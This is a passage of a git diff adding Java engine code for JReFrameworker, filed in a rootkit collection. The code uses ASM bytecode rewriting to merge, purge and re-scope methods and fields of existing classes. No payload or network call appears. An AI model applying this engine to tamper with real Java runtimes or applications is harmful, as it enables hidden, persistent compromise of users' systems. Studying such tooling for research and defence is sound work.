baseClassVisitor, ClassNode classToMerge, String mergeReamePrefix, LinkedList qualifiedRenamedMethods) { + super(Opcodes.ASM5, baseClassVisitor); + this.classToMerge = classToMerge; + this.mergeRenamePrefix = mergeReamePrefix; + this.qualifiedRenamedMethods = qualifiedRenamedMethods; + } + + @Override + public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { + super.visit(version, access, name, signature, superName, interfaces); + baseClassName = name; + } + + public void visitEnd() { + // copy each field of the class to merge in to the original class + for (Object fieldObject : classToMerge.fields) { + FieldNode fieldNode = (FieldNode) fieldObject; + // only insert the field if it is annotated + if(fieldNode.invisibleAnnotations != null){ + boolean addField = false; + for(Object annotationObject : fieldNode.invisibleAnnotations){ + AnnotationNode annotationNode = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotationNode.desc, false); + if(checker.isDefineFieldAnnotation()){ + addField = true; + break; + } + } + if(addField){ + // clear field annotations and insert the field + AnnotationUtils.clearFieldAnnotations(fieldNode); + fieldNode.accept(this); + Log.info("Added Field: " + fieldNode.name); + } + } + } + + // copy each method of the class to merge that is annotated + // with a jref annotation to the original class + for (Object methodObject : classToMerge.methods) { + MethodNode methodNodeToMerge = (MethodNode) methodObject; + + // static initializers need to be handled specially + if(methodNodeToMerge.name.equals("")){ + // TODO: merge static initializers + } else if(methodNodeToMerge.name.equals("")){ + // TODO: merge initializers + } else { + boolean define = false; + boolean merge = false; + // check if method is annotated with a jref annotation + LinkedList jrefAnnotations = new LinkedList(); + if (methodNodeToMerge.invisibleAnnotations != null) { + for (Object annotationObject : methodNodeToMerge.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + // check if the annotation is a jref annotation + JREFAnnotationIdentifier jrefChecker = new JREFAnnotationIdentifier(); + jrefChecker.visitAnnotation(annotation.desc, false); + if(jrefChecker.isJREFAnnotation()){ + jrefAnnotations.add(annotation); + if(jrefChecker.isDefineMethodAnnotation()){ + define = true; + } + if(jrefChecker.isMergeMethodAnnotation()){ + merge = true; + } + } + } + } + + // if the method is annotated with @DefineMethod or @MergeMethod, add the method + if(define || merge){ + // in any case, strip the jref annotations from the method + methodNodeToMerge.invisibleAnnotations.removeAll(jrefAnnotations); + if(merge){ + mergeMethod(methodNodeToMerge, qualifiedRenamedMethods); + Log.info("Merged Method: " + methodNodeToMerge.name); + } else { + addMethod(methodNodeToMerge); + Log.info("Added Method: " + methodNodeToMerge.name); + } + } + } + } + + super.visitEnd(); + } + + /** + * Adds the method to the base class + * @param methodNode + */ + private void addMethod(MethodNode methodNode){ + String[] exceptions = new String[methodNode.exceptions.size()]; + methodNode.exceptions.toArray(exceptions); + MethodVisitor mv = cv.visitMethod(methodNode.access, methodNode.name, methodNode.desc, methodNode.signature, exceptions); + + methodNode.instructions.resetLabels(); + // SimpleRemapper -> maps old name to new name + // updates owners and descriptions appropriately + methodNode.accept(new RemappingMethodAdapter(methodNode.access, methodNode.desc, mv, new SimpleRemapper(classToMerge.name, baseClassName))); + } + + /** + * Performs some merge changes to the method instructions then adds the method + * @param methodNode + * @param qualifiedRenamedMethods + */ + @SuppressWarnings("unused") + private void mergeMethod(MethodNode methodNode, LinkedList qualifiedRenamedMethods) { + // clean up method instructions + InsnList instructions = methodNode.instructions; + Iterator instructionIterator = instructions.iterator(); + while (instructionIterator.hasNext()) { + AbstractInsnNode abstractInstruction = instructionIterator.next(); + if (abstractInstruction instanceof FieldInsnNode) { + FieldInsnNode instruction = (FieldInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof FrameNode) { + FrameNode instruction = (FrameNode) abstractInstruction; + } else if (abstractInstruction instanceof IincInsnNode) { + IincInsnNode instruction = (IincInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof InsnNode) { + InsnNode instruction = (InsnNode) abstractInstruction; + } else if (abstractInstruction instanceof IntInsnNode) { + IntInsnNode instruction = (IntInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof InvokeDynamicInsnNode) { + InvokeDynamicInsnNode instruction = (InvokeDynamicInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof JumpInsnNode) { + JumpInsnNode instruction = (JumpInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof LabelNode) { + LabelNode instruction = (LabelNode) abstractInstruction; + } else if (abstractInstruction instanceof LdcInsnNode) { + LdcInsnNode instruction = (LdcInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof LineNumberNode) { + LineNumberNode instruction = (LineNumberNode) abstractInstruction; + } else if (abstractInstruction instanceof LookupSwitchInsnNode) { + LookupSwitchInsnNode instruction = (LookupSwitchInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof MethodInsnNode) { + MethodInsnNode instruction = (MethodInsnNode) abstractInstruction; + // check if the method call needs to be changed to a renamed method name + // replace calls to super.x methods with prefix+x calls in the class to merge + // TODO: should check more than just the name, need to check whole method signature + for (String renamedMethod : qualifiedRenamedMethods) { + String qualifiedMethodName = instruction.owner + "." + instruction.name; + if ((qualifiedMethodName).equals(renamedMethod)) { + // this method has been renamed, we need to rename the call as well + instruction.name = mergeRenamePrefix + instruction.name; + + // if the renamed method was a special invocation then we were + // calling the preserved method using super.foo(), so we need + // to make it a virtual invocation instead of special invocation + if (instruction.getOpcode() == Opcodes.INVOKESPECIAL) { + instruction.setOpcode(Opcodes.INVOKEVIRTUAL); + } + } + + // if the renamed method was a static invocation + // and the static invocation is to the class being merged in + // then we are calling the new static method so we need to change the owner + if (instruction.getOpcode() == Opcodes.INVOKESTATIC) { + if(classToMerge.name.equals(instruction.owner) && instruction.name.equals(renamedMethod)){ + instruction.owner = baseClassName; + } + } + } + } else if (abstractInstruction instanceof MultiANewArrayInsnNode) { + MultiANewArrayInsnNode instruction = (MultiANewArrayInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof TableSwitchInsnNode) { + TableSwitchInsnNode instruction = (TableSwitchInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof TypeInsnNode) { + TypeInsnNode instruction = (TypeInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof VarInsnNode) { + VarInsnNode instruction = (VarInsnNode) abstractInstruction; + } + } + + // finally insert the method + addMethod(methodNode); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/PurgeAdapter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/PurgeAdapter.java new file mode 100644 index 0000000..c9f9351 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/PurgeAdapter.java @@ -0,0 +1,111 @@ +package com.jreframeworker.engine; + +import java.util.HashSet; +import java.util.Set; + +import org.objectweb.asm.ClassVisitor; +import org.objectweb.asm.FieldVisitor; +import org.objectweb.asm.MethodVisitor; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.tree.FieldNode; +import org.objectweb.asm.tree.MethodNode; + +import com.jreframeworker.engine.log.Log; + +/** + * This class is responsible for purging methods and fields from a class + * + * Reference: http://asm.ow2.org/doc/faq.html#Q1 + * + * @author Ben Holland + */ +public class PurgeAdapter extends ClassVisitor { + + private Set methodsToPurge; + private Set fieldsToPurge; + + public PurgeAdapter(ClassVisitor classVisitor, MethodNode... methodsToPurgeArray) { + super(Opcodes.ASM5, classVisitor); + this.methodsToPurge = new HashSet(); + this.fieldsToPurge = new HashSet(); + for(MethodNode methodNode : methodsToPurgeArray){ + methodsToPurge.add(methodNode); + } + } + + public PurgeAdapter(ClassVisitor classVisitor, FieldNode... fieldsToPurgeArray) { + super(Opcodes.ASM5, classVisitor); + this.methodsToPurge = new HashSet(); + this.fieldsToPurge = new HashSet(); + for(FieldNode fieldNode : fieldsToPurgeArray){ + fieldsToPurge.add(fieldNode); + } + } + + public PurgeAdapter(ClassVisitor classVisitor, Set methodsToPurge, Set fieldsToPurge) { + super(Opcodes.ASM5, classVisitor); + this.methodsToPurge = methodsToPurge; + this.fieldsToPurge = fieldsToPurge; + } + +// private Collection methodsToPurgeAnnotations; +// private Collection fieldsToPurgeAnnotations; +// +// public PurgeAdapter(ClassVisitor baseClassVisitor, Collection methodsToPurgeAnnotations, Collection fieldsToPurgeAnnotations) { +// super(Opcodes.ASM5, baseClassVisitor); +// this.methodsToPurgeAnnotations = methodsToPurgeAnnotations; +// this.fieldsToPurgeAnnotations = fieldsToPurgeAnnotations; +// } + + @Override + public FieldVisitor visitField(int access, String name, String desc, String signature, Object value) { + // purge based on FieldNode references + for (FieldNode fieldToPurge : fieldsToPurge) { + if (fieldToPurge.signature != null && signature != null) { + if (fieldToPurge.signature.equals(signature)) { + if (fieldToPurge.name.equals(name) && fieldToPurge.desc.equals(desc)) { + // return null in order to remove this field + Log.info("Purged Field: " + name); + return null; + } + } + } else { + // signature was null, fall back to name and description only + if (fieldToPurge.name.equals(name) && fieldToPurge.desc.equals(desc)) { + // return null in order to remove this field + Log.info("Purged Field: " + name); + return null; + } + } + } + + // make the next visitor visit this field, in order to keep it + return super.visitField(access, name, desc, signature, value); + } + + @Override + public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions){ + for (MethodNode methodToPurge : methodsToPurge) { + if (methodToPurge.signature != null && signature != null) { + if (methodToPurge.signature.equals(signature)) { + if (methodToPurge.name.equals(name) && methodToPurge.desc.equals(desc)) { + // return null in order to remove this method + Log.info("Purged Method: " + name); + return null; + } + } + } else { + // signature was null, fall back to name and description only + if (methodToPurge.name.equals(name) && methodToPurge.desc.equals(desc)) { + // return null in order to remove this method + Log.info("Purged Method: " + name); + return null; + } + } + } + + // make the next visitor visit this field, in order to keep it + return super.visitMethod(access, name, desc, signature, exceptions); + } + +} \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/BaseMethodsIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/BaseMethodsIdentifier.java new file mode 100644 index 0000000..c3cb228 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/BaseMethodsIdentifier.java @@ -0,0 +1,22 @@ +package com.jreframeworker.engine.identifiers; +import java.util.LinkedList; + +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.MethodNode; + +public class BaseMethodsIdentifier { + + private LinkedList baseMethods = new LinkedList(); + + public BaseMethodsIdentifier(ClassNode classNode) { + for (Object o : classNode.methods) { + MethodNode methodNode = (MethodNode) o; + baseMethods.add(methodNode); + } + } + + public LinkedList getBaseMethods() { + return baseMethods; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/DefineFinalityIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/DefineFinalityIdentifier.java new file mode 100644 index 0000000..080593d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/DefineFinalityIdentifier.java @@ -0,0 +1,298 @@ +package com.jreframeworker.engine.identifiers; +import java.io.IOException; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Set; + +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; + +public class DefineFinalityIdentifier { + + public static Set getFinalityTargets(ClassNode classNode) throws IOException { + DefineFinalityIdentifier finalityIdentifier = new DefineFinalityIdentifier(classNode); + Set targets = new HashSet(); + for(DefineTypeFinalityAnnotation annotation : finalityIdentifier.getTargetTypes()){ + targets.add(annotation.getClassName()); + } + for(DefineMethodFinalityAnnotation annotation : finalityIdentifier.getTargetMethods()){ + targets.add(annotation.getClassName()); + } + for(DefineFieldFinalityAnnotation annotation : finalityIdentifier.getTargetFields()){ + targets.add(annotation.getClassName()); + } + return targets; + } + + public static Set getFinalityTargets(ClassNode classNode, int phase) throws IOException { + DefineFinalityIdentifier finalityIdentifier = new DefineFinalityIdentifier(classNode); + Set targets = new HashSet(); + for(DefineTypeFinalityAnnotation annotation : finalityIdentifier.getTargetTypes()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(DefineMethodFinalityAnnotation annotation : finalityIdentifier.getTargetMethods()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(DefineFieldFinalityAnnotation annotation : finalityIdentifier.getTargetFields()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + return targets; + } + + private static final String PHASE = "phase"; + private static final String TYPE = "type"; + private static final String FIELD = "field"; + private static final String METHOD = "method"; + private static final String FINALITY = "finality"; + + public static class DefineTypeFinalityAnnotation { + private int phase; + private String className; + private boolean finality; + + public DefineTypeFinalityAnnotation(int phase, String className, boolean finality) { + this.phase = phase; + this.className = className; + this.finality = finality; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public boolean getFinality(){ + return finality; + } + } + + public static class DefineMethodFinalityAnnotation { + private int phase; + private String className; + private String methodName; + private boolean finality; + + public DefineMethodFinalityAnnotation(int phase, String className, String methodName, boolean finality) { + this.phase = phase; + this.className = className; + this.methodName = methodName; + this.finality = finality; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getMethodName(){ + return methodName; + } + + public boolean getFinality(){ + return finality; + } + } + + public static class DefineFieldFinalityAnnotation { + private int phase; + private String className; + private String fieldName; + private boolean finality; + + public DefineFieldFinalityAnnotation(int phase, String className, String fieldName, boolean finality) { + this.phase = phase; + this.className = className; + this.fieldName = fieldName; + this.finality = finality; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getFieldName(){ + return fieldName; + } + + public boolean getFinality(){ + return finality; + } + } + + private LinkedList targetTypes = new LinkedList(); + private LinkedList targetMethods = new LinkedList(); + private LinkedList targetFields = new LinkedList(); + + @SuppressWarnings("rawtypes") + public DefineFinalityIdentifier(ClassNode classNode) { + if (classNode.invisibleAnnotations != null) { + for (Object annotationObject : classNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + + // type finalities + if(checker.isDefineTypeFinalitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineTypeFinalityAnnotationValues(classNode, annotationValue); + } + } + } + + } + } else if(checker.isDefineTypeFinalityAnnotation()){ + extractDefineTypeFinalityAnnotationValues(classNode, annotation); + } + + // method finalities + else if(checker.isDefineMethodFinalitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineMethodFinalityValues(classNode, annotationValue); + } + } + } + } + } else if(checker.isDefineMethodFinalityAnnotation()){ + extractDefineMethodFinalityValues(classNode, annotation); + } + + // field finalities + else if(checker.isDefineFieldFinalitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineFieldFinalityValues(classNode, annotationValue); + } + } + } + } + } else if(checker.isDefineFieldFinalityAnnotation()){ + extractDefineFieldFinalityValues(classNode, annotation); + } + } + } + } + + private void extractDefineFieldFinalityValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String fieldValue = null; + Boolean finalityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(FIELD)){ + fieldValue = (String) value; + } else if(name.equals(FINALITY)){ + finalityValue = (boolean) value; + } + } + if(typeValue != null && fieldValue != null && finalityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetFields.add(new DefineFieldFinalityAnnotation(phaseValue, className, fieldValue, finalityValue)); + } + } + } + + private void extractDefineMethodFinalityValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String methodValue = null; + Boolean finalityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(METHOD)){ + methodValue = (String) value; + } else if(name.equals(FINALITY)){ + finalityValue = (boolean) value; + } + } + if(typeValue != null && methodValue != null && finalityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetMethods.add(new DefineMethodFinalityAnnotation(phaseValue, className, methodValue, finalityValue)); + } + } + } + + private void extractDefineTypeFinalityAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + Boolean finalityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(FINALITY)){ + finalityValue = (boolean) value; + } + } + if(typeValue != null && finalityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetTypes.add(new DefineTypeFinalityAnnotation(phaseValue, className, finalityValue)); + } + } + } + + public LinkedList getTargetTypes() { + return targetTypes; + } + + public LinkedList getTargetMethods() { + return targetMethods; + } + + public LinkedList getTargetFields() { + return targetFields; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/DefineIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/DefineIdentifier.java new file mode 100644 index 0000000..0e13a33 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/DefineIdentifier.java @@ -0,0 +1,144 @@ +package com.jreframeworker.engine.identifiers; +import java.util.LinkedList; + +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.MethodNode; +import org.objectweb.asm.tree.FieldNode; + +public class DefineIdentifier { + + private static final String PHASE = "phase"; + + public static class DefineTypeAnnotation { + private int phase; + private ClassNode classNode; + + public DefineTypeAnnotation(int phase, ClassNode classNode) { + this.phase = phase; + this.classNode = classNode; + } + + public int getPhase(){ + return phase; + } + + public ClassNode getClassNode(){ + return classNode; + } + } + + public static class DefineMethodAnnotation { + private MethodNode methodNode; + + public DefineMethodAnnotation(MethodNode methodNode) { + this.methodNode = methodNode; + } + + public MethodNode getMethodNode(){ + return methodNode; + } + } + + public static class DefineFieldAnnotation { + private FieldNode fieldNode; + + public DefineFieldAnnotation(FieldNode fieldNode) { + this.fieldNode = fieldNode; + } + + public FieldNode getFieldNode(){ + return fieldNode; + } + } + + private DefineTypeAnnotation targetType = null; + private LinkedList targetMethods = new LinkedList(); + private LinkedList targetFields = new LinkedList(); + + public DefineIdentifier(ClassNode classNode) { + if (classNode.invisibleAnnotations != null) { + for (Object annotationObject : classNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + + // types + if(checker.isDefineTypeAnnotation()){ + extractDefineTypeAnnotationValues(classNode, annotation); + } + } + } + + // methods + for (Object o : classNode.methods) { + MethodNode methodNode = (MethodNode) o; + if (methodNode.invisibleAnnotations != null) { + for (Object annotationObject : methodNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + if(checker.isDefineMethodAnnotation()){ + extractDefineMethodValues(methodNode, annotation); + } + } + } + } + + // fields + for (Object o : classNode.fields) { + FieldNode fieldNode = (FieldNode) o; + if (fieldNode.invisibleAnnotations != null) { + for (Object annotationObject : fieldNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + if(checker.isDefineFieldAnnotation()){ + extractDefineFieldValues(fieldNode, annotation); + } + } + } + } + } + + private void extractDefineFieldValues(FieldNode fieldNode, AnnotationNode annotation) { + if(fieldNode != null){ + targetFields.add(new DefineFieldAnnotation(fieldNode)); + } + } + + private void extractDefineMethodValues(MethodNode methodNode, AnnotationNode annotation) { + if(methodNode != null){ + targetMethods.add(new DefineMethodAnnotation(methodNode)); + } + } + + private void extractDefineTypeAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } + } + if(classNode != null){ + targetType = new DefineTypeAnnotation(phaseValue, classNode); + } + } + } + + public DefineTypeAnnotation getDefineTypeAnnotation() { + return targetType; + } + + public LinkedList getDefineMethodAnnotations() { + return targetMethods; + } + + public LinkedList getDefineFieldAnnotations() { + return targetFields; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/DefineVisibilityIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/DefineVisibilityIdentifier.java new file mode 100644 index 0000000..f47c1b2 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/DefineVisibilityIdentifier.java @@ -0,0 +1,319 @@ +package com.jreframeworker.engine.identifiers; +import java.io.IOException; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Set; + +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; + +public class DefineVisibilityIdentifier { + + public static enum Visibility { + PRIVATE, PROTECTED, PUBLIC; + + public static Visibility getVisibilityFromString(String valueString) { + if(valueString.equalsIgnoreCase("private")){ + return Visibility.PRIVATE; + } else if(valueString.equalsIgnoreCase("protected")){ + return Visibility.PROTECTED; + } else if(valueString.equalsIgnoreCase("public")){ + return Visibility.PUBLIC; + } else { + throw new RuntimeException("Invalid visibility modifier"); + } + } + } + + public static Set getVisibilityTargets(ClassNode classNode) throws IOException { + DefineVisibilityIdentifier visibilityIdentifier = new DefineVisibilityIdentifier(classNode); + Set targets = new HashSet(); + for(DefineTypeVisibilityAnnotation annotation : visibilityIdentifier.getTargetTypes()){ + targets.add(annotation.getClassName()); + } + for(DefineMethodVisibilityAnnotation annotation : visibilityIdentifier.getTargetMethods()){ + targets.add(annotation.getClassName()); + } + for(DefineFieldVisibilityAnnotation annotation : visibilityIdentifier.getTargetFields()){ + targets.add(annotation.getClassName()); + } + return targets; + } + + public static Set getVisibilityTargets(ClassNode classNode, int phase) throws IOException { + DefineVisibilityIdentifier visibilityIdentifier = new DefineVisibilityIdentifier(classNode); + Set targets = new HashSet(); + for(DefineTypeVisibilityAnnotation annotation : visibilityIdentifier.getTargetTypes()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(DefineMethodVisibilityAnnotation annotation : visibilityIdentifier.getTargetMethods()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(DefineFieldVisibilityAnnotation annotation : visibilityIdentifier.getTargetFields()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + return targets; + } + + private static final String PHASE = "phase"; + private static final String TYPE = "type"; + private static final String FIELD = "field"; + private static final String METHOD = "method"; + private static final String VISIBILITY = "visibility"; + + public static class DefineTypeVisibilityAnnotation { + private int phase; + private String className; + private Visibility visibility; + + public DefineTypeVisibilityAnnotation(int phase, String className, Visibility visibility) { + this.phase = phase; + this.className = className; + this.visibility = visibility; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public Visibility getVisibility(){ + return visibility; + } + } + + public static class DefineMethodVisibilityAnnotation { + private int phase; + private String className; + private String methodName; + private Visibility visibility; + + public DefineMethodVisibilityAnnotation(int phase, String className, String methodName, Visibility visibility) { + this.phase = phase; + this.className = className; + this.methodName = methodName; + this.visibility = visibility; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getMethodName(){ + return methodName; + } + + public Visibility getVisibility(){ + return visibility; + } + } + + public static class DefineFieldVisibilityAnnotation { + private int phase; + private String className; + private String fieldName; + private Visibility visibility; + + public DefineFieldVisibilityAnnotation(int phase, String className, String fieldName, Visibility visibility) { + this.phase = phase; + this.className = className; + this.fieldName = fieldName; + this.visibility = visibility; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getFieldName(){ + return fieldName; + } + + public Visibility getVisibility(){ + return visibility; + } + } + + private LinkedList targetTypes = new LinkedList(); + private LinkedList targetMethods = new LinkedList(); + private LinkedList targetFields = new LinkedList(); + + @SuppressWarnings("rawtypes") + public DefineVisibilityIdentifier(ClassNode classNode) { + if (classNode.invisibleAnnotations != null) { + for (Object annotationObject : classNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + + // type visibilities + if(checker.isDefineTypeVisibilitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineTypeVisibilityAnnotationValues(classNode, annotationValue); + } + } + } + + } + } else if(checker.isDefineTypeVisibilityAnnotation()){ + extractDefineTypeVisibilityAnnotationValues(classNode, annotation); + } + + // method visibilities + else if(checker.isDefineMethodVisibilitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineMethodVisibilityAnnotationValues(classNode, annotationValue); + } + } + } + + } + } else if(checker.isDefineMethodVisibilityAnnotation()){ + extractDefineMethodVisibilityAnnotationValues(classNode, annotation); + } + + // field visibilities + else if(checker.isDefineFieldVisibilitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineFieldVisibilityAnnotationValues(classNode, annotationValue); + } + } + } + + } + } else if(checker.isDefineFieldVisibilityAnnotation()){ + extractDefineFieldVisibilityAnnotationValues(classNode, annotation); + } + } + } + } + + private void extractDefineFieldVisibilityAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String fieldValue = null; + Visibility visibilityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(FIELD)){ + fieldValue = (String) value; + } else if(name.equals(VISIBILITY)){ + String valueString = (String) value; + visibilityValue = Visibility.getVisibilityFromString(valueString); + } + } + if(typeValue != null && fieldValue != null && visibilityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetFields.add(new DefineFieldVisibilityAnnotation(phaseValue, className, fieldValue, visibilityValue)); + } + } + } + + private void extractDefineMethodVisibilityAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String methodValue = null; + Visibility visibilityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(METHOD)){ + methodValue = (String) value; + } else if(name.equals(VISIBILITY)){ + String valueString = (String) value; + visibilityValue = Visibility.getVisibilityFromString(valueString); + } + } + if(typeValue != null && methodValue != null && visibilityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetMethods.add(new DefineMethodVisibilityAnnotation(phaseValue, className, methodValue, visibilityValue)); + } + } + } + + private void extractDefineTypeVisibilityAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + Visibility visibilityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + 